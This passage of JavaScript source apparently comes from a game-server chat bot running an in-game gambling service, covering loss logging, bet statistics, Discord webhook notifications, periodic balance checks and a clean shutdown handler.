recentBets.unshift({
player,
amount,
won: false,
time: new Date().toLocaleTimeString(),
});
if (recentBets.length > 10) recentBets.pop();
console.log(`❌ ${player} LOST $${amount.toLocaleString()}`);
addDebugLog(`${player} lost $${amount.toLocaleString()}`, "info");
debug("Player lost", { player, amount });
sendDiscordWebhook(player, amount, false);
}
console.log(
`📊 Total bets: ${totalBetsProcessed} | W:${stats.wins} L:${stats.losses}`,
);
console.log(`💰 New balance: $${botBalance.toLocaleString()}`);
if (totalBetsProcessed % 5 === 0) {
setTimeout(() => {
bot.chat("/balance");
addDebugLog("Auto balance check (every 5 bets)", "info");
}, 2000);
}
}
// ═══════════════════════════════════════════════════════════════
// GRACEFUL SHUTDOWN
// ═══════════════════════════════════════════════════════════════
process.on("SIGINT", () => {
console.log("\n👋 Shutting down...");
console.log(`📊 Final stats: ${totalBetsProcessed} bets processed`);
console.log(`💰 Final balance: $${botBalance.toLocaleString()}`);
addDebugLog("Bot shutting down", "warn");
sendDiscordStatusUpdate(
"⚠️ **Bot Shutting Down** - Manual shutdown",
0xffa500,
);
bot.quit();
process.exit(0);
});
console.log("✅ Gambling bot script loaded!");
addDebugLog("Script loaded successfully", "success");
createBot();